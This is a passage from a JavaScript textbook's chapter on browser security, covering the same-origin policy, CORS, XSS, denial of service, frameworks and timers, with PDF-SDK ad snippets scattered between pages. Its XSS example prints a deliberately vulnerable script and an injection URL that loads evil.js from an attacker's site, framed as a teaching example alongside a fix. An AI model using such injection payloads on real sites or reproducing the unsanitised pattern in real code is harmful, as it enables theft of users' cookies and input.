has clear security implications, and browser vendors have worked hard to balance two
competing goals:
• Defining powerful client-side APIs to enable useful web applications.
• Preventing malicious code from reading or altering your data, compromising your
privacy, scamming you, or wasting your time.
As in many fields, JavaScript security has evolved through an interactive and ongoing
process of exploits and patches. In the early days of the Web, browsers added features
like the ability to open, move, and resize windows and to script the browser’s status
line. When unethical advertisers and scammers started abusing these features, browser
makers had to restrict or disable those APIs. Today, in the process of standardizing
HTML5, browser vendors are carefully (and openly and collaboratively) lifting certain
long-standing security restrictions and adding quite a bit of power to client-side Java-
Script while (hopefully) not introducing any new security holes.
The subsections below introduce the JavaScript security restrictions and security issues
that you, as a web developer, need to be aware of.
13.6.1  What JavaScript Can’t Do
Web browsers’ first line of defense against malicious code is that they simply do not
support certain capabilities. For example, client-side JavaScript does not provide any
way to write or delete arbitrary files or list arbitrary directories on the client computer.
This means a JavaScript program cannot delete data or plant viruses. (But see
§22.6.5 to learn how JavaScript can read user-selected files and see §22.7 to learn how
JavaScript can obtain a secure private filesystem within which it can read and write
files.)
Similarly, client-side JavaScript does not have any general-purpose networking capa-
bilities. A client-side JavaScript program can script the HTTP protocol (see Chap-
ter 18). And another HTML5-affiliated standard, known as WebSockets, defines a
socket-like API for communicating with specialized servers. But neither of these APIs
allows unmediated access to the wider network. General-purpose Internet clients and
servers cannot be written in client-side JavaScript.
Browsers’ second line of defense against malicious code is that they impose restrictions
on the use of certain features that they do support. The following are some restricted
features:
• A JavaScript program can open new browser windows, but, to prevent pop-up
abuse by advertisers, most browsers restrict this feature so that it can happen only
in response to a user-initiated event, such as a mouse click.
• A JavaScript program can close browser windows that it opened itself, but it is not
allowed to close other windows without user confirmation.
13.6  Security | 333
Client-Side
JavaScript
Pdf edit hyperlink - insert, remove PDF links in C#.net, ASP.NET, MVC, Ajax, WinForms, WPF
Free C# example code is offered for users to edit PDF document hyperlink (url), like inserting and deleting
adding hyperlinks to pdf documents; pdf links
Pdf edit hyperlink - VB.NET PDF url edit library: insert, remove PDF links in vb.net, ASP.NET, MVC, Ajax, WinForms, WPF
Help to Insert a Hyperlink to Specified PDF Document Page
add links to pdf document; pdf hyperlink
• The 
value
property of HTML FileUpload elements cannot be set. If this property
could be set, a script could set it to any desired filename and cause the form to
upload the contents of any specified file (such as a password file) to the server.
• A script cannot read the content of documents loaded from different servers than
the document that contains the script. Similarly, a script cannot register event lis-
teners on documents from different servers. This prevents scripts from snooping
on the user’s input (such as the keystrokes that constitute a password entry) to
other pages. This restriction is known as the same-origin policy and is described in
more detail in the next section.
Note that this is not a definitive list of client-side JavaScript restrictions. Different
browsers have different security policies and may implement different API restrictions.
Some browsers may also allow restrictions to be strengthened or weakened through
user preferences.
13.6.2  The Same-Origin Policy
The same-origin policy is a sweeping security restriction on what web content JavaScript
code can interact with. It typically comes into play when a web page includes
<iframe>
elements or opens other browser windows. In this case, the same-origin policy
governs the interactions of JavaScript code in one window or frame with the content
of other windows and frames. Specifically, a script can read only the properties of
windows and documents that have the same origin as the document that contains the
script (see §14.8 to learn how to use JavaScript with multiple windows and frames).
The origin of a document is defined as the protocol, host, and port of the URL from
which the document was loaded. Documents loaded from different web servers have
different origins. Documents loaded through different ports of the same host have dif-
ferent origins. And a document loaded with the 
http:
protocol has a different origin
than one loaded with the 
https:
protocol, even if they come from the same web server.
It is important to understand that the origin of the script itself is not relevant to the
same-origin policy: what matters is the origin of the document in which the script is
embedded. Suppose, for example, that a script hosted by host A is included (using the
src
property of a 
<script>
element) in a web page served by host B. The origin of that
script is host B and the script has full access to the content of the document that contains
it. If the script opens a new window and loads a second document from host B, the
script also has full access to the content of that second document. But if the script opens
a third window and loads a document from host C (or even one from host A) into it,
the same-origin policy comes into effect and prevents the script from accessing this
document.
The same-origin policy does not actually apply to all properties of all objects in a win-
dow from a different origin. But it does apply to many of them, and, in particular, it
applies to practically all the properties of the Document object. You should consider
any window or frame that contains a document from another server to be off-limits to
334 | Chapter 13: JavaScript in Web Browsers
How to C#: Basic SDK Concept of XDoc.PDF for .NET
XDoc.PDF for .NET allows C# developers to edit hyperlink of PDF document, including editing PDF url links and quick navigation link in bookmark/outline.
add links to pdf; add link to pdf
VB.NET PDF: Basic SDK Concept of XDoc.PDF
XDoc.PDF for .NET allows VB.NET developers to edit hyperlink of PDF document, including editing PDF url links and quick navigation link in bookmark/outline.
adding hyperlinks to pdf files; adding links to pdf
your scripts. If your script opened the window, your script can close it, but it cannot
“look inside” the window in any way. The same-origin policy also applies to scripted
HTTP requests made with the XMLHttpRequest object (see Chapter 18). This object
allows client-side JavaScript code to make arbitrary HTTP requests to the web server
from which the containing document was loaded, but it does not allow scripts to com-
municate with other web servers.
The same-origin policy is necessary to prevent scripts from stealing proprietary infor-
mation. Without this restriction, a malicious script (loaded through a firewall into a
browser on a secure corporate intranet) might open an empty window, hoping to trick
the user into using that window to browse files on the intranet. The malicious script
would then read the content of that window and send it back to its own server. The
same-origin policy prevents this kind of behavior.
13.6.2.1  Relaxing the same-origin policy
In some circumstances, the same-origin policy is too restrictive. This section describes
three techniques for relaxing it.
The same-origin policy poses problems for large websites that use multiple subdo-
mains. For example, a script in a document from home.example.com might legitimately
want to read properties of a document loaded from developer.example.com, or scripts
from orders.example.com might need to read properties from documents on catalog.ex-
ample.com. To support multidomain websites of this sort, you can use the 
domain
property of the Document object. By default, the 
domain
property contains the host-
name of the server from which the document was loaded. You can set this property,
but only to a string that is a valid domain suffix of itself. Thus, if 
domain
is originally
the string “home.example.com”, you can set it to the string “example.com”, but not
to “home.example” or “ample.com”. Furthermore, the 
domain
value must have at least
one dot in it; you cannot set it to “com” or any other top-level domain.
If two windows (or frames) contain scripts that set 
domain
to the same value, the same-
origin policy is relaxed for these two windows, and each window can interact with
the  other.  For  example,  cooperating  scripts  in  documents  loaded  from
orders.example.com and catalog.example.com might set their 
document.domain
proper-
ties to “example.com”, thereby making the documents appear to have the same origin
and enabling each document to read properties of the other.
The second technique for relaxing the same-origin policy is being standardized under
the name Cross-Origin Resource Sharing (see http://www.w3.org/TR/cors/). This draft
standard extends HTTP with a new 
Origin:
request header and a new 
Access-Control-
Allow-Origin
response header. It allows servers to use a header to explicitly list origins
that may request a file or to use a wildcard and allow a file to be requested by any site.
Browsers such as Firefox 3.5 and Safari 4 use this new header to allow the cross-origin
HTTP requests with XMLHttpRequest that would otherwise have been forbidden by
the same-origin policy.
13.6  Security | 335
Client-Side
JavaScript
VB.NET PDF Library SDK to view, edit, convert, process PDF file
processing images contained in PDF file. Please click to see details. PDF Hyperlink Edit. RasterEdge PDF SDK for .NET package offers
add email link to pdf; clickable links in pdf from word
C# PDF Library SDK to view, edit, convert, process PDF file for C#
processing images contained in PDF file. Please click to see details. C#.NET: Edit PDF Hyperlink. RasterEdge PDF SDK for .NET package
change link in pdf file; add a link to a pdf
Another new technique, known as cross-document messaging, allows a script from one
document to pass textual messages to a script in another document, regardless of the
script origins. Calling the 
postMessage()
method on a Window object results in the
asynchronous delivery of a message event (you can handle it with an 
onmessage
event
handler function) to the document in that window. A script in one document still
cannot invoke methods or read properties of the other document, but they can com-
municate safely through this message-passing technique. See §22.3 for more on the
cross-document messaging API.
13.6.3  Scripting Plug-ins and ActiveX Controls
Although the core JavaScript language and the basic client-side object model lack the
filesystem and networking features that the worst malicious code requires, the situation
is not quite as simple as it appears. In many web browsers, JavaScript is used as a “script
engine” for ActiveX controls (in IE) or plug-ins (other browsers). The Flash and Java
plug-ins are commonly installed examples, and they expose important and powerful
features to client-side scripts.
There are security implications to being able to script ActiveX controls and plug-ins.
Java applets, for example, have access to low-level networking capabilities. The Java
security “sandbox” prevents applets from communicating with any server other than
the one from which they were loaded, so this does not open a security hole. But it
exposes the basic problem: if plug-ins are scriptable, you must trust not just the web
browser’s security architecture, but also the plug-in’s security architecture. In practice,
the Java and Flash plug-ins seem to have robust security and they are actively main-
tained and updated when security holes are discovered. ActiveX scripting has had a
more checkered past, however. The IE browser has access to a variety of scriptable
ActiveX controls that are part of the Windows operating system, and in the past some
of these scriptable controls have included exploitable security holes.
13.6.4  Cross-Site Scripting
Cross-site scripting, or XSS, is a term for a category of security issues in which an attacker
injects HTML tags or scripts into a target website. Defending against XSS attacks is
typically the job of server-side web developers. However, client-side JavaScript pro-
grammers must also be aware of, and defend against, cross-site scripting.
A web page is vulnerable to cross-site scripting if it dynamically generates document
content and bases that content on user-submitted data without first “sanitizing” that
data by removing any embedded HTML tags from it. As a trivial example, consider the
following web page that uses JavaScript to greet the user by name:
<script>
var name = decodeURIComponent(window.location.search.substring(1)) || "";
document.write("Hello " + name);
</script>
336 | Chapter 13: JavaScript in Web Browsers
VB.NET Create PDF from Excel Library to convert xlsx, xls to PDF
C#.NET edit PDF digital signatures, C#.NET edit PDF sticky note Merge all Excel sheets to one PDF file in VB Change Excel hyperlink to PDF hyperlink and bookmark.
pdf link to specific page; add a link to a pdf in acrobat
C# Create PDF from Word Library to convert docx, doc to PDF in C#.
Able to get word count in PDF pages. Change Word hyperlink to PDF hyperlink and bookmark. Free online Word to PDF converter without email.
add hyperlinks to pdf; adding hyperlinks to pdf
This two-line script uses 
window.location.search
to obtain the portion of its own URL
that begins with ?. It uses 
document.write()
to add dynamically generated content to
the document. This page is intended to be invoked with a URL like this:
http://www.example.com/greet.html?David
When used like this, it displays the text “Hello David”. But consider what happens
when it is invoked with this URL:
http://www.example.com/greet.html?%3Cscript%3Ealert('David')%3C/script%3E
With this URL, the script dynamically generates another script (
%3C
and 
%3E
are codes
for angle brackets)! In this case, the injected script simply displays a dialog box, which
is relatively benign. But consider this case:
http://siteA/greet.html?name=%3Cscript src=siteB/evil.js%3E%3C/script%3E
Cross-site scripting attacks are so called because more than one site is involved. Site B
(or some other site C) includes a specially crafted link (like the one above) to site A that
injects a script from site B. The script evil.js is hosted by the evil site B, but it is now
embedded in site A, and it can do absolutely anything it wants with site A’s content. It
might deface the page or cause it to malfunction (such as by initiating one of the denial-
of-service attacks described in the next section). This would be bad for site A’s customer
relations. More dangerously, the malicious script can read cookies stored by site A
(perhaps account numbers or other personally identifying information) and send that
data back to site B. The injected script can even track the user’s keystrokes and send
that data back to site B.
In general, the way to prevent XSS attacks is to remove HTML tags from any untrusted
data before using it to create dynamic document content. You can fix the greet.html
file shown earlier by adding this line of code to remove the angle brackets around
<script>
tags:
name = name.replace(/</g, "&lt;").replace(/>/g, "&gt;");
The simple code above replaces all angle brackets in the string with their corresponding
HTML entities, thereby escaping and deactivating any HTML tags in the string. IE8
defines a more nuanced 
toStaticHTML()
method that removes 
<script>
tags (and any
other potentially executable content) without altering nonexecutable HTML. 
toSta
ticHTML()
is not standardized, but it is straightforward to write your own HTML san-
itizer function like this in core JavaScript.
HTML5 goes beyond content sanitation strategies and is defining a 
sandbox
attribute
for the 
<iframe>
element. When implemented, this should allow the safe display of
untrusted content, with scripts automatically disabled.
Cross-site scripting is a pernicious vulnerability whose roots go deep into the architec-
ture of the Web. It is worth understanding this vulnerability in depth, but further dis-
cussion is beyond the scope of this book. There are many online resources to help you
defend against cross-site scripting. One important primary source is the original CERT
Advisory about this problem: http://www.cert.org/advisories/CA-2000-02.html.
13.6  Security | 337
Client-Side
JavaScript
VB.NET Create PDF from Word Library to convert docx, doc to PDF in
Set File Permissions. Password: Open Document. Edit Digital Signatures. Ability to get word count of PDF pages. Change Word hyperlink to PDF hyperlink and bookmark
add hyperlink in pdf; c# read pdf from url
.NET PDF SDK - Description of All PDF Processing Control Feastures
signature; Add signature image to PDF file. PDF Hyperlink Edit. Support outline; More about PDF Hyperlink Edit ▶. PDF Metadata Edit. Support
add links to pdf in acrobat; add page number to pdf hyperlink
13.6.5  Denial-of-Service Attacks
The same-origin policy and other security restrictions described here do a good job of
preventing malicious code from damaging your data or compromising your privacy.
They do not protect against brute-force denial-of-service attacks, however. If you visit
a malicious website with JavaScript enabled, that site can tie up your browser with an
infinite loop of 
alert()
dialog boxes or can slow down your CPU with an infinite loop
or a meaningless computation.
Some browsers detect repeated dialog boxes and long-running scripts and give the user
the option to stop them. But malicious code can use methods such as 
setInterval()
to
load the CPU and can also attack your system by allocating lots of memory. There is
no general way that web browsers can prevent this kind of ham-handed attack. In
practice, this is not a common problem on the Web since no one returns to a site that
engages in this kind of scripting abuse!
13.7  Client-Side Frameworks
Many web developers find it useful to build their web applications on top of a client-
side framework library. These libraries are “frameworks” in the sense that they build a
new higher-level API for client-side programming on top of the standard and propri-
etary APIs offered by web browsers: once you adopt a framework, your code needs to
be written to use the APIs defined by that framework. The obvious benefit of using a
framework is that it is a higher-level API that allows you to do more with less code. A
well-written framework will also address many of the compatibility, security, and ac-
cessibility issues described above.
This book documents jQuery, one of the most popular frameworks, in Chapter 19. If
you decide to adopt jQuery for your projects, you should still read the chapters leading
up to Chapter 19; understanding the low-level APIs will make you a better web devel-
oper, even if you rarely need to use those APIs directly.
There are many JavaScript frameworks other than jQuery—many more than I can list
here. Some of the best known and most widely used open source frameworks include:
Prototype
The Prototype library (http://prototypejs.org) focuses on DOM and Ajax utilities,
like jQuery does, and adds quite a few core-language utilities as well. The Scrip-
taculous library (http://script.aculo.us/) can be added on for animations and visual
effects.
Dojo
Dojo (http://dojotoolkit.org) is a large framework that advertises its “incredible
depth.” It includes an extensive set of UI widgets, a package system, a data ab-
straction layer, and more.
338 | Chapter 13: JavaScript in Web Browsers
YUI
YUI (http://developer.yahoo.com/yui/) is the in-house library of Yahoo!, and it is
used on their home page. Like Dojo, it is a large, all-encompassing library with
language utilities, DOM utilities, UI widgets, and so on. There are actually two
incompatible versions of YUI, known as YUI 2 and YUI 3.
Closure
The Closure library (http://code.google.com/closure/library/) is the client-side li-
brary that Google uses for Gmail, Google Docs, and other web applications. This
library is intended to be used with the Closure compiler (http://code.google.com/
closure/compiler/), which strips out unused library functions. Because unused code
is stripped out before deployment, the designers of the Closure library did not need
to keep the feature set compact, so Closure has a sprawling set of utilities.
GWT
GWT, the Google Web Toolkit (http://code.google.com/webtoolkit/), is a complete-
ly different kind of client-side framework. It defines a web application API in Java
and provides a compiler to translate your Java programs into compatible client-
side JavaScript. GWT is used in some of Google’s products, but it is not as widely
used as their Closure library.
13.7  Client-Side Frameworks | 339
Client-Side
JavaScript
CHAPTER 14
The Window Object
Chapter 13 introduced the Window object and the central role it plays in client-side
JavaScript: it is the global object for client-side JavaScript programs. This chapter covers
the properties and methods of the Window object. These properties define a number
of different APIs, only some of which are actually related to the browser windows for
which the Window object was named. This chapter covers the following:
• §14.1 shows how to use 
setTimeout()
and 
setInterval()
to register a function to
be invoked at specified times in the future.
• §14.2 explains how to use the 
location
property to obtain the URL of the currently
displayed document and to load new documents.
• §14.3 covers the 
history
property, and shows how to move the browser backward
and forward through its history.
• §14.4 shows how to use the 
navigator
property to obtain browser vendor and
version information and how to use the 
screen
property to query the size of the
desktop.
• §14.5 shows how to display simple text dialogs with the 
alert()
confirm()
, and
prompt()
methods and how to display HTML dialog boxes with 
showModalDialog()
.
• §14.6 explains how you can register an 
onerror
handler method to be invoked
when uncaught JavaScript exceptions occur.
• §14.7 explains that the IDs and names of HTML elements are used as properties
of the Window object.
• §14.8 is a long section that explains how to open and close browser windows and
how to write JavaScript code that works with multiple windows and nested frames.
14.1  Timers
setTimeout()
and 
setInterval()
allow you to register a function to be invoked once or
repeatedly after a specified amount of time has elapsed. These are important global
functions of client-side JavaScript, and are therefore defined as methods of Window,
341
but they are general-purpose functions and don’t really have anything to do with the
window.
The 
setTimeout()
method of the Window object schedules a function to run after a
specified number of milliseconds elapses. 
setTimeout()
returns a value that can be
passed to 
clearTimeout()
to cancel the execution of the scheduled function.
setInterval()
is like 
setTimeout()
except that the specified function is invoked repeat-
edly at intervals of the specified number of milliseconds:
setInterval(updateClock, 60000);  // Call updateClock() every 60 seconds
Like 
setTimeout()
setInterval()
returns  a  value  that  can  be  passed  to
clearInterval()
to cancel any future invocations of the scheduled function.
Example 14-1 defines a utility function that waits a specified amount of time, invokes
a function repeatedly, and then cancels the invocations after another specified amount
of time. It demonstrates 
setTimeout()
setInterval()
, and 
clearInterval()
.
Example 14-1. A timer utility function
/*
* Schedule an invocation or invocations of f() in the future.
* Wait start milliseconds, then call f() every interval milliseconds, 
* stopping after a total of start+end milliseconds.
* If interval is specified but end is omitted, then never stop invoking f.
* If interval and end are omitted, then just invoke f once after start ms.
* If only f is specified, behave as if start was 0.
* Note that the call to invoke() does not block: it returns right away.
*/
function invoke(f, start, interval, end) {
if (!start) start = 0;          // Default to 0 ms
if (arguments.length <= 2)      // Single-invocation case
setTimeout(f, start);       // Single invocation after start ms.
else {                          // Multiple invocation case
setTimeout(repeat, start);  // Repetitions begin in start ms
function repeat() {         // Invoked by the timeout above
var h = setInterval(f, interval); // Invoke f every interval ms.
// And stop invoking after end ms, if end is defined
if (end) setTimeout(function() { clearInterval(h); }, end);
}
}
}
For historical reasons, you can pass a string as the first argument to 
setTimeout()
and
setInterval()
. If you do this, the string will be evaluated (as with 
eval()
) after the
specified timeout or interval. The HTML5 specification (and all browsers except IE)
allow additional arguments to 
setTimeout()
and 
setInterval()
after the first two. Any
such arguments are passed to the function that is invoked. If portability with IE is
required, however, you shouldn’t use this feature.
342 | Chapter 14: The Window Object
Documents you may be interested
Documents you may be interested